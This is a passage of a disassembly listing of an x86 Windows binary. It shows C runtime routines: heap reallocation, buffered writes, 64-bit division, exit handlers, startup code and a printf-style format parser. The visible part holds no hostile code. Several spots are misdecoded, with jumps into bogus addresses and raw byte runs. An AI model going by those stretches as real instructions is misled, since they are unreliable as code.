CODE XREF: sub_4174BF+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push ds:dword_46AAE0 call ds:dword_421160 ; RtlReAllocateHeap mov edi, eax loc_4175B7: ; CODE XREF: sub_4174BF+D7j test edi, edi jnz short loc_4175D8 loc_4175BB: ; CODE XREF: sub_4174BF+36j ; sub_4174BF+B9j cmp ds:dword_4694D4, 0 jz short loc_4175D8 push esi call sub_418A48 test eax, eax pop ecx jnz loc_4174F0 jmp loc_4174E9 ; --------------------------------------------------------------------------- loc_4175D8: ; CODE XREF: sub_4174BF+93j ; sub_4174BF+FAj ... mov eax, edi loc_4175DA: ; CODE XREF: sub_4174BF+16j ; sub_4174BF+2Cj pop edi pop esi pop ebp pop ebx retn sub_4174BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175DF proc near ; CODE XREF: seg000:0040BBBFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_417603 xor eax, eax jmp loc_4176D0 ; --------------------------------------------------------------------------- loc_417603: ; CODE XREF: sub_4175DF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_417616 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41761D ; --------------------------------------------------------------------------- loc_417616: ; CODE XREF: sub_4175DF+2Dj mov [ebp+arg_C], 1000h loc_41761D: ; CODE XREF: sub_4175DF+35j ; sub_4175DF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_417651 mov eax, [esi+4] test eax, eax jz short loc_417651 cmp ebx, eax mov edi, ebx jb short loc_417637 mov edi, eax loc_417637: ; CODE XREF: sub_4175DF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_4155B0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_417697 ; --------------------------------------------------------------------------- loc_417651: ; CODE XREF: sub_4175DF+47j ; sub_4175DF+4Ej cmp ebx, [ebp+arg_C] jb short loc_41769C test ecx, ecx jz short loc_417665 push esi call sub_4186C4 test eax, eax pop ecx jnz short loc_4176DE loc_417665: ; CODE XREF: sub_4175DF+79j cmp [ebp+arg_C], 0 jz short loc_417678 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41767A ; --------------------------------------------------------------------------- loc_417678: ; CODE XREF: sub_4175DF+8Aj mov edi, ebx loc_41767A: ; CODE XREF: sub_4175DF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41C40A add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4176D5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4176D5 loc_417697: ; CODE XREF: sub_4175DF+70j mov edi, [ebp+var_4] jmp short loc_4176C5 ; --------------------------------------------------------------------------- loc_41769C: ; CODE XREF: sub_4175DF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_417C17 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4176DE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4176C5 mov [ebp+arg_C], 1 loc_4176C5: ; CODE XREF: sub_4175DF+BBj ; sub_4175DF+DDj test ebx, ebx jnz loc_41761D mov eax, [ebp+arg_8] loc_4176D0: ; CODE XREF: sub_4175DF+1Fj ; sub_4175DF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4176D5: ; CODE XREF: sub_4175DF+ADj ; sub_4175DF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4176E0 ; --------------------------------------------------------------------------- loc_4176DE: ; CODE XREF: sub_4175DF+84j ; sub_4175DF+CFj mov eax, edi loc_4176E0: ; CODE XREF: sub_4175DF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4176D0 sub_4175DF endp ; =============== S U B R O U T I N E ======================================= sub_4176E9 proc near ; CODE XREF: sub_40C1E2+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_421094 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_417709 call ds:dword_421088 ; RtlGetLastWin32Error push eax call sub_41C5B7 pop ecx loc_417705: ; CODE XREF: sub_4176E9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417709: ; CODE XREF: sub_4176E9+Dj test al, 1 jz short loc_41772A test [esp+arg_4], 2 jz short loc_41772A mov ds:dword_469474, 0Dh mov ds:dword_469478, 5 jmp short loc_417705 ; --------------------------------------------------------------------------- loc_41772A: ; CODE XREF: sub_4176E9+22j ; sub_4176E9+29j xor eax, eax retn sub_4176E9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417730 proc near ; CODE XREF: sub_40C30C+5Fp ; sub_40C30C+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_417751 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_417751: ; CODE XREF: sub_417730+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41776D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41776D: ; CODE XREF: sub_417730+27j or eax, eax jnz short loc_417789 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4177CA ; --------------------------------------------------------------------------- loc_417789: ; CODE XREF: sub_417730+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_417797: ; CODE XREF: sub_417730+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_417797 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4177C5 cmp edx, [esp+0Ch+arg_4] ja short loc_4177C5 jb short loc_4177C6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4177C6 loc_4177C5: ; CODE XREF: sub_417730+85j ; sub_417730+8Bj dec esi loc_4177C6: ; CODE XREF: sub_417730+8Dj ; sub_417730+93j xor edx, edx mov eax, esi loc_4177CA: ; CODE XREF: sub_417730+57j dec edi jnz short loc_4177D4 neg edx neg eax sbb edx, 0 loc_4177D4: ; CODE XREF: sub_417730+9Bj pop ebx pop esi pop edi retn 10h sub_417730 endp ; =============== S U B R O U T I N E ======================================= sub_4177DA proc near ; CODE XREF: seg000:00417B6Bp mov eax, ds:off_437D1C test eax, eax jz short loc_4177E5 call eax ; sub_415F1B loc_4177E5: ; CODE XREF: sub_4177DA+7j push offset dword_423028 push offset dword_423014 call sub_4178C2 push offset dword_423010 push offset dword_423000 call sub_4178C2 add esp, 10h retn sub_4177DA endp ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call loc_417829 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_417818 proc near ; CODE XREF: sub_417BCE+1Cp ; sub_41AB7C+342Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call loc_417829 add esp, 0Ch retn sub_417818 endp ; --------------------------------------------------------------------------- loc_417829: ; CODE XREF: seg000:0041780Fp ; sub_417818+8p push edi push 1 pop edi cmp ds:dword_4694BC, edi jnz short loc_417846 push dword ptr [esp+8] call near ptr 3D0000h mov byte ptr [eax-18h], 0BBh xchg edi, ebx ; --------------------------------------------------------------------------- db 0FFh, 0EBh ; --------------------------------------------------------------------------- loc_417846: ; CODE XREF: seg000:00417833j cmp dword ptr [esp+0Ch], 0 push ebx mov ebx, [esp+14h] mov ds:dword_4694B8, edi mov ds:byte_4694B4, bl jnz short loc_41789A mov eax, ds:dword_46AAF4 test eax, eax jz short loc_417889 mov ecx, ds:dword_46AAF0 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_417888 loc_417875: ; CODE XREF: seg000:00417886j mov eax, [esi] test eax, eax jz short loc_41787D call eax loc_41787D: ; CODE XREF: seg000:00417879j sub esi, 4 cmp esi, ds:dword_46AAF4 jnb short loc_417875 loc_417888: ; CODE XREF: seg000:00417873j pop esi loc_417889: ; CODE XREF: seg000:00417865j push offset dword_423034 push offset dword_42302C call sub_4178C2 pop ecx pop ecx loc_41789A: ; CODE XREF: seg000:0041785Cj push offset dword_423040 push offset dword_423038 call sub_4178C2 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_4178C0 push dword ptr [esp+8] mov ds:dword_4694BC, edi call ds:dword_421114 ; ExitProcess loc_4178C0: ; CODE XREF: seg000:004178AEj pop edi retn ; =============== S U B R O U T I N E ======================================= sub_4178C2 proc near ; CODE XREF: sub_4177DA+15p ; sub_4177DA+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4178C7: ; CODE XREF: sub_4178C2+16j cmp esi, [esp+4+arg_4] jnb short loc_4178DA mov eax, [esi] test eax, eax jz short loc_4178D5 call eax loc_4178D5: ; CODE XREF: sub_4178C2+Fj add esi, 4 jmp short loc_4178C7 ; --------------------------------------------------------------------------- loc_4178DA: ; CODE XREF: sub_4178C2+9j pop esi retn sub_4178C2 endp ; =============== S U B R O U T I N E ======================================= sub_4178DC proc near ; CODE XREF: seg000:0040F8E3p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 3D0000h dec eax test eax, eax jnz short loc_4178F2 call ds:dword_421088 ; RtlGetLastWin32Error jmp short loc_4178F4 ; --------------------------------------------------------------------------- loc_4178F2: ; CODE XREF: sub_4178DC+Cj xor eax, eax loc_4178F4: ; CODE XREF: sub_4178DC+14j test eax, eax jz short loc_417903 push eax call sub_41C5B7 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417903: ; CODE XREF: sub_4178DC+1Aj xor eax, eax retn sub_4178DC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417910 proc near ; CODE XREF: sub_412B46+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41795C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41795D test eax, 1 jz short loc_41793D mov cl, [esi] cmp cl, [edi] jnz short loc_41798A inc esi inc edi dec eax jz short loc_41795A loc_41793D: ; CODE XREF: sub_417910+20j ; sub_417910+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41798A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41798A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41793D loc_41795A: ; CODE XREF: sub_417910+2Bj ; sub_417910+84j pop edi pop esi locret_41795C: ; CODE XREF: sub_417910+6j retn ; --------------------------------------------------------------------------- loc_41795D: ; CODE XREF: sub_417910+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_417992 repe cmpsd jz short loc_417992 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_417985 cmp ch, dh jnz short loc_417985 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_417985 cmp ch, dh loc_417985: ; CODE XREF: sub_417910+63j ; sub_417910+67j ... mov eax, 0 loc_41798A: ; CODE XREF: sub_417910+26j ; sub_417910+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417910+55j ; sub_417910+59j test eax, eax jz short loc_41795A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_417985 dec eax jz short loc_4179B9 cmp dh, ch jnz short loc_417985 dec eax jz short loc_4179B9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_417985 dec eax loc_4179B9: ; CODE XREF: sub_417910+8Fj ; sub_417910+96j pop edi pop esi retn sub_417910 endp ; =============== S U B R O U T I N E ======================================= sub_4179BC proc near ; CODE XREF: sub_413C8F+55p ; seg000:004148D6p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4179D3 loc_4179C9: ; CODE XREF: sub_4179BC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4179C9 loc_4179D3: ; CODE XREF: sub_4179BC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_4179BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179D9 proc near ; CODE XREF: sub_413C8F+19p ; sub_413C8F+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_417AA6 mov edi, [ebp+arg_8] cmp edi, esi jz loc_417AD3 cmp ds:dword_469508, esi jnz short loc_417A2A cmp edi, esi jbe loc_417AD3 loc_417A09: ; CODE XREF: sub_4179D9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_417AD3 inc eax inc edx inc edx cmp eax, edi jb short loc_417A09 jmp loc_417AD3 ; --------------------------------------------------------------------------- loc_417A2A: ; CODE XREF: sub_4179D9+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_421064 push edi push edx push 0FFFFFFFFh push ebx push 9 push ds:dword_469518 call esi ; MultiByteToWideChar test eax, eax jnz loc_417AD2 call ds:dword_421088 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_417A64 loc_417A55: ; CODE XREF: sub_4179D9+CBj ; sub_4179D9+F7j mov ds:dword_469474, 2Ah or eax, 0FFFFFFFFh jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417A64: ; CODE XREF: sub_4179D9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_417A6C: ; CODE XREF: sub_4179D9+B3j mov cl, [eax] test cl, cl jz short loc_417A8E mov edx, ds:off_437D50 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417A83 inc eax loc_417A83: ; CODE XREF: sub_4179D9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_417A6C loc_417A8E: ; CODE XREF: sub_4179D9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push ds:dword_469518 call esi ; MultiByteToWideChar test eax, eax jnz short loc_417AD3 jmp short loc_417A55 ; --------------------------------------------------------------------------- loc_417AA6: ; CODE XREF: sub_4179D9+Fj cmp ds:dword_469508, esi jnz short loc_417AB9 push [ebp+arg_4] call sub_415CD0 pop ecx jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417AB9: ; CODE XREF: sub_4179D9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push ds:dword_469518 call ds:dword_421064 ; MultiByteToWideChar cmp eax, esi jz short loc_417A55 loc_417AD2: ; CODE XREF: sub_4179D9+6Bj dec eax loc_417AD3: ; CODE XREF: sub_4179D9+1Aj ; sub_4179D9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4179D9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421678 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call ds:dword_42116C ; GetVersion xor edx, edx mov dl, ah mov ds:dword_46948C, edx mov ecx, eax and ecx, 0FFh mov ds:dword_469488, ecx shl ecx, 8 add ecx, edx mov ds:dword_469484, ecx shr eax, 10h mov ds:dword_469480, eax xor esi, esi push esi call sub_418A63 pop ecx test eax, eax jnz short loc_417B44 push 1Ch call sub_417BF3 pop ecx loc_417B44: ; CODE XREF: seg000:00417B3Aj mov [ebp-4], esi call loc_41CC32 call near ptr 0C70004h arpl word ptr ds:dword_46AAE4[ebx], sp call sub_41CB00 mov ds:dword_4694C0, eax call sub_41C8B3 call sub_41C7FA call sub_4177DA mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call near ptr 0D30004h shr eax, 20h dec esp ; --------------------------------------------------------------------------- dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h dd 9C75FF50h, 65E85656h, 2D009384h, 4AC0E850h, 4589FFFFh dd 58E850A0h, 8BFFFFFCh, 88BEC45h, 4D89098Bh, 0E8515098h dd 4A5Eh, 8BC35959h, 75FFE865h, 0FC4AE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_417BCE proc near ; CODE XREF: sub_416832+16p ; sub_41C7FA+4Ep ... arg_0 = dword ptr 4 cmp ds:dword_4694C8, 1 jnz short loc_417BDC call sub_41CEC0 loc_417BDC: ; CODE XREF: sub_417BCE+7j push [esp+arg_0] call sub_41CEF9 push 0FFh call ds:off_437D40 pop ecx pop ecx retn sub_417BCE endp ; =============== S U B R O U T I N E ======================================= sub_417BF3 proc near ; CODE XREF: seg000:00417B3Ep arg_0 = dword ptr 4 cmp ds:dword_4694C8, 1 jnz short loc_417C01 call sub_41CEC0 loc_417C01: ; CODE XREF: sub_417BF3+7j push [esp+arg_0] call sub_41CEF9 pop ecx push 0FFh call ds:dword_421114 ; ExitProcess retn sub_417BF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C17 proc near ; CODE XREF: sub_4154CD+46p ; sub_415A4A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_417D20 test al, 40h jnz loc_417D20 test al, 1 jz short loc_417C4F and dword ptr [esi+4], 0 test al, 10h jz loc_417D20 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_417C4F: ; CODE XREF: sub_417C17+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_417C89 cmp esi, offset dword_438468 jz short loc_417C77 cmp esi, offset dword_438488 jnz short loc_417C82 loc_417C77: ; CODE XREF: sub_417C17+56j push ebx call sub_41D090 test eax, eax pop ecx jnz short loc_417C89 loc_417C82: ; CODE XREF: sub_417C17+5Ej push esi call sub_41D04C pop ecx loc_417C89: ; CODE XREF: sub_417C17+4Ej ; sub_417C17+69j test word ptr [esi+0Ch], 108h push edi jz short loc_417CF6 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_417CB9 push edi push eax push ebx call sub_41C40A add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_417CEC ; --------------------------------------------------------------------------- loc_417CB9: ; CODE XREF: sub_417C17+90j cmp ebx, 0FFFFFFFFh jz short loc_417CD4 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, ds:dword_46A7A0[eax*4] lea eax, [eax+ecx*8] jmp short loc_417CD9 ; --------------------------------------------------------------------------- loc_417CD4: ; CODE XREF: sub_417C17+A5j mov eax, offset dword_4383B0 loc_417CD9: ; CODE XREF: sub_417C17+BBj test byte ptr [eax+4], 20h jz short loc_417CEC push 2 push 0 push ebx call sub_41BB5F add esp, 0Ch loc_417CEC: ; CODE XREF: sub_417C17+A0j ; sub_417C17+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_417D0A ; --------------------------------------------------------------------------- loc_417CF6: ; CODE XREF: sub_417C17+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41C40A add esp, 0Ch mov [ebp+arg_4], eax loc_417D0A: ; CODE XREF: sub_417C17+DDj cmp [ebp+arg_4], edi pop edi jz short loc_417D16 or dword ptr [esi+0Ch], 20h jmp short loc_417D25 ; --------------------------------------------------------------------------- loc_417D16: ; CODE XREF: sub_417C17+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_417D28 ; --------------------------------------------------------------------------- loc_417D20: ; CODE XREF: sub_417C17+10j ; sub_417C17+18j ... or al, 20h mov [esi+0Ch], eax loc_417D25: ; CODE XREF: sub_417C17+FDj or eax, 0FFFFFFFFh loc_417D28: ; CODE XREF: sub_417C17+107j pop esi pop ebx pop ebp retn sub_417C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D2C proc near ; CODE XREF: sub_4154CD+29p ; sub_415A4A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_418445 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_417D60 ; --------------------------------------------------------------------------- loc_417D58: ; CODE XREF: sub_417D2C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_417D60: ; CODE XREF: sub_417D2C+2Aj cmp [ebp+var_14], edx jl loc_418445 cmp bl, 20h jl short loc_417D81 cmp bl, 78h jg short loc_417D81 movsx eax, bl mov al, [eax+421664h] and eax, 0Fh jmp short loc_417D83 ; --------------------------------------------------------------------------- loc_417D81: ; CODE XREF: sub_417D2C+40j ; sub_417D2C+45j xor eax, eax loc_417D83: ; CODE XREF: sub_417D2C+53j movsx eax, ds:byte_421684[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_418434 ; default jmp ds:off_41844D[eax*4] ; switch jump loc_417DA1: ; DATA XREF: seg000:off_41844Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417D9A case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417DBC: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do movsx eax, bl ; jumptable 00417D9A case 2 sub eax, 20h jz short loc_417DFF sub eax, 3 jz short loc_417DF6 sub eax, 8 jz short loc_417DED dec eax dec eax jz short loc_417DE4 sub eax, 3 jnz loc_418434 ; default or [ebp+var_4], 8 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417DE4: ; CODE XREF: sub_417D2C+A4j or [ebp+var_4], 4 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417D2C+A0j or [ebp+var_4], 1 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417DF6: ; CODE XREF: sub_417D2C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417DFF: ; CODE XREF: sub_417D2C+96j or [ebp+var_4], 2 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417E08: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do cmp bl, 2Ah ; jumptable 00417D9A case 3 jnz short loc_417E30 lea eax, [ebp+arg_8] push eax call sub_41850B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_418434 ; default or [ebp+var_4], 4 neg eax loc_417E28: ; CODE XREF: sub_417D2C+111j mov [ebp+var_20], eax jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417E30: ; CODE XREF: sub_417D2C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_417E28 ; --------------------------------------------------------------------------- loc_417E3F: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do mov [ebp+var_10], edx ; jumptable 00417D9A case 4 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417E47: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do cmp bl, 2Ah ; jumptable 00417D9A case 5 jnz short loc_417E6A lea eax, [ebp+arg_8] push eax call sub_41850B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_418434 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417E6A: ; CODE XREF: sub_417D2C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417E7C: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do cmp bl, 49h ; jumptable 00417D9A case 6 jz short loc_417EAF cmp bl, 68h jz short loc_417EA6 cmp bl, 6Ch jz short loc_417E9D cmp bl, 77h jnz loc_418434 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417E9D: ; CODE XREF: sub_417D2C+15Dj or [ebp+var_4], 10h jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417EA6: ; CODE XREF: sub_417D2C+158j or [ebp+var_4], 20h jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417EAF: ; CODE XREF: sub_417D2C+153j cmp byte ptr [edi], 36h jnz short loc_417EC8 cmp byte ptr [edi+1], 34h jnz short loc_417EC8 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417EC8: ; CODE XREF: sub_417D2C+186j ; sub_417D2C+18Cj mov [ebp+var_30], edx loc_417ECB: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do mov ecx, ds:off_437D50 ; jumptable 00417D9A case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_417EF7 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41846D mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_417EF7: ; CODE XREF: sub_417D2C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41846D add esp, 0Ch jmp loc_418434 ; default ; --------------------------------------------------------------------------- loc_417F0F: ; CODE XREF: sub_417D2C+6Ej ; DATA XREF: seg000:off_41844Do movsx eax, bl ; jumptable 00417D9A case 7 cmp eax, 67h jg loc_418137 cmp eax, 65h jge loc_417FBA cmp eax, 58h jg loc_418018 jz loc_4181AB sub eax, 43h jz loc_417FDB dec eax dec eax jz short loc_417FB0 dec eax dec eax jz short loc_417FB0 sub eax, 0Ch jnz loc_418336 test word ptr [ebp+var_4], 830h jnz short loc_417F59 or byte ptr [ebp+var_4+1], 8 loc_417F59: ; CODE XREF: sub_417D2C+227j ; sub_417D2C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_417F66 mov esi, 7FFFFFFFh loc_417F66: ; CODE XREF: sub_417D2C+233j lea eax, [ebp+arg_8] push eax call sub_41850B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41817F test ecx, ecx jnz short loc_417F8E mov ecx, ds:off_437D4C mov [ebp+var_8], ecx loc_417F8E: ; CODE XREF: sub_417D2C+257j mov [ebp+var_24], 1 mov eax, ecx loc_417F97: ; CODE XREF: sub_417D2C+282j mov edx, esi dec esi test edx, edx jz loc_418176 cmp word ptr [eax], 0 jz loc_418176 inc eax inc eax jmp short loc_417F97 ; --------------------------------------------------------------------------- loc_417FB0: ; CODE XREF: sub_417D2C+212j ; sub_417D2C+216j mov [ebp+var_34], 1 add bl, 20h loc_417FBA: ; CODE XREF: sub_417D2C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41809E mov [ebp+var_10], 6 jmp loc_4180AC ; --------------------------------------------------------------------------- loc_417FDB: ; CODE XREF: sub_417D2C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_417FE7 or byte ptr [ebp+var_4+1], 8 loc_417FE7: ; CODE XREF: sub_417D2C+2B5j ; sub_417D2C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41802E call sub_418528 push eax lea eax, [ebp+var_248] push eax call sub_41D16F add esp, 0Ch mov [ebp+var_C], eax test eax, 